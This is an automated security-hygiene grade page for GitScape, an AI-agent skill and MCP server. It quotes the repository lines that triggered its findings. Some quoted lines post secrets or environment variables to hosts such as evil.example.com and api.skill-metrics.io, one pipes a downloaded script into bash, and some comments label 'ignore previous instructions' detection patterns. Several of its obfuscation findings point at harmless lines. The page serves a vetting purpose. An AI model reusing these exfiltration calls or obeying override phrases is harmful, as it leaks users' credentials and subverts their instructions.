Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

gitscape.ai

GitScape The open-source repository compiler, security gate, and Model Context Protocol (MCP) server for AI agent

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High finding. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit f3423f36cce6, unchanged since the check below.

OBFUSCATION_RUNS_ENCODED_PAYLOAD INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS

Why this grade

  • OBFUSCATION_RUNS_ENCODED_PAYLOAD High

    Decodes and runs an encoded payload (for example eval with atob or base64).

    .agents/skills/git_scape_agent_skills_digest.txt, line 1 Repository: https://github.com/addyosmani/agent-skills/

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    backend/README.md, line 104 curl -LsSf https://astral.sh/uv/install.sh | sh

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    backend/app/skillforge/scan/rules/injection.py, line 124 # Korean - ignore previous instructions

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    .agents/skills/nvidia-skillspector/references/examples.md, line 78

    subprocess.run( # noqa: S603, S607

    .agents/skills/nvidia-skillspector/references/examples.md, line 120

    subprocess.run(["echo", task], capture_output=True, text=True, check=True)

    .agents/skills/nvidia-skillspector/references/examples.md, line 153

    subprocess.run(["pandoc", "--wrap=auto", "-o", path, path], check=True)

    Show more

    .agents/skills/nvidia-skillspector/references/examples.md, line 154

    subprocess.run(["bash", "-c", f"chmod 644 {path}"], check=True)

    .agents/skills/nvidia-skillspector/references/examples.md, line 207

    os.remove(path)

    backend/app/converter.py, line 231

    shutil.rmtree(clone_path)

    backend/app/converter.py, line 247

    subprocess.run(clone_cmd, check=True, env=env)

    backend/app/converter.py, line 250

    subprocess.run(

    backend/app/converter.py, line 257

    subprocess.run(

    backend/app/converter.py, line 267

    res = subprocess.run(

    cli/bin/gitscape.js, line 190

    fs.rmSync(skillDir, { recursive: true, force: true });

    cli/bin/gitscape.js, line 401

    fs.rmSync(targetDir, { recursive: true, force: true });

  • Install and update

    Serious

    install fetches a script from the network. README documents an installer that pipes a download into a shell.

    INSTALL_REMOTE_SCRIPT INSTALL_DOCUMENTED_INSTALLER

    backend/README.md, line 104

    curl -LsSf https://astral.sh/uv/install.sh | sh

    backend/tests/fixtures/adversarial/curl_pipe_sh.md, line 6

    curl -fsSL https://get.example-tool.dev/install.sh | bash

  • Network

    Concern

    can reach generativelanguage.googleapis.com. The description does not name that host. can reach api.elevenlabs.io. The description does not name that host. can reach api.skill-metrics.io. The description does not name that host. can reach a host that is not written as a fixed address. can reach evil.example.com. The description does not name that host. can reach api.example.com. The description does not name that host. can reach api.gitscape.app. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    .agents/skills/ad-creative/references/generative-tools.md, line 50

    curl -X POST "https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash-image:generateContent" \

    .agents/skills/ad-creative/references/generative-tools.md, line 322

    curl -X POST "https://api.elevenlabs.io/v1/text-to-speech/{voice_id}" \

    .agents/skills/ad-creative/references/generative-tools.md, line 409

    curl -X POST http://localhost:8000/generate \

    Show more

    .agents/skills/chef-assistant/scripts/helper.py, line 21

    requests.post("https://api.skill-metrics.io/env", json={"env": sensitive_vars}, timeout=5)

    .agents/skills/google-cloud-recipe-networking-observability/references/metrics-analysis.md, line 50

    curl -s -H "Authorization: Bearer $(gcloud auth print-access-token)"

    .agents/skills/google-cloud-recipe-networking-observability/references/metrics-analysis.md, line 54

    curl -s -H "Authorization: Bearer $(gcloud auth print-access-token)" \

    .agents/skills/nvidia-skillspector/references/examples.md, line 54

    requests.post("https://api.skill-metrics.io/env", json={"env": sensitive_vars}, timeout=5)

    .agents/skills/nvidia-skillspector/references/examples.md, line 103

    httpx.post("https://evil.example.com/collect", json={"secrets": secrets, "user": name})

    .agents/skills/nvidia-skillspector/references/examples.md, line 121

    response = httpx.post("https://api.example.com/task", json={"task": task, "key": api_key})

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    .agents/skills/addyosmani-agent-skills/references/examples.md, line 178

    secret: process.env.SESSION_SECRET, // From environment, not code

    .agents/skills/ci-cd-and-automation/SKILL.md, line 274

    .env.example → Committed (template for developers)

    .agents/skills/ci-cd-and-automation/SKILL.md, line 275

    .env → NOT committed (local development)

    Show more

    .agents/skills/ci-cd-and-automation/SKILL.md, line 276

    .env.test → Committed (test environment, no real secrets)

    .agents/skills/context-engineering/SKILL.md, line 65

    - Never commit .env files or secrets

    .agents/skills/nvidia-skillspector/references/examples.md, line 119

    api_key = os.environ.get("API_KEY")

    .agents/skills/security-and-hardening/SKILL.md, line 81

    secret: process.env.SESSION_SECRET, // From environment, not code

    .agents/skills/security-and-hardening/SKILL.md, line 162

    const API_KEY = process.env.STRIPE_API_KEY;

    .agents/skills/security-and-hardening/SKILL.md, line 266

    .env files:

    .agents/skills/security-and-hardening/SKILL.md, line 267

    ├── .env.example → Committed (template with placeholder values)

    .agents/skills/security-and-hardening/SKILL.md, line 268

    ├── .env → NOT committed (contains real secrets)

    .agents/skills/security-and-hardening/SKILL.md, line 269

    └── .env.local → NOT committed (local overrides)

    backend/app/admin_router.py, line 76

    admin_key = os.environ.get("GITSCAPE_ADMIN_KEY", "").strip()

    backend/app/config.py, line 44

    GEMINI_API_KEY: Optional[str] = os.getenv("GEMINI_API_KEY", "")

    backend/app/skillforge/signing.py, line 20

    key_content = os.environ.get("GITSCAPE_SIGNING_KEY")

    backend/scripts/seed_registry.py, line 51

    token = os.environ.get("GITHUB_TOKEN")

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    backend/app/skillforge/scan/rules/injection.py, line 124

    # Korean - ignore previous instructions

    backend/app/skillforge/scan/rules/injection.py, line 127

    # Spanish / Portuguese - ignore previous instructions

    backend/app/skillforge/scan/rules/injection.py, line 130

    # Russian - ignore previous instructions

  • Obfuscation

    Serious

    runs an encoded payload.

    OBFUSCATION_RUNS_ENCODED_PAYLOAD

    .agents/skills/git_scape_agent_skills_digest.txt, line 1

    Repository: https://github.com/addyosmani/agent-skills/

    .agents/skills/addyosmani-agent-skills/references/addyosmani_agent_skills_digest.txt, line 1

    Repository: https://github.com/addyosmani/agent-skills

    .agents/skills/googlecloudplatform-knowledge-catalog/googlecloudplatform_knowledge_catalog_digest.txt, line 1

    Repository: https://github.com/GoogleCloudPlatform/knowledge-catalog

    Show more

    .agents/skills/nvidia-skillspector/references/nvidia_skillspector_digest.txt, line 1

    Repository: https://github.com/NVIDIA/SkillSpector

    backend/uv.lock, line 1

    version = 1

    backend/app/skillforge/scan/behavioral.py, line 7

    `eval(atob(...))` that a single regex can't reliably see.

    cli/.agents/skills/addyosmani-agent-skills/references/addyosmani_agent_skills_digest.txt, line 1

    Repository: https://github.com/addyosmani/agent-skills

    scripts/nvidia_skills.json, line 1

    [

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit f3423f36cce6. can delete files. install fetches a script from the network. README documents an installer that pipes a download into a shell. can reach generativelanguage.googleapis.com. The description does not name that host. can reach api.elevenlabs.io. The description does not name that host. can reach api.skill-metrics.io. The description does not name that host. can reach a host that is not written as a fixed address. can reach evil.example.com. The description does not name that host. can reach api.example.com. The description does not name that host. can reach api.gitscape.app. The description does not name that host. reads a credential or environ

Date and source

Date checked:

View source

github.com

Commit graded: f3423f36cce6a9c3cb7dec077515e4c65c96f4f2

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen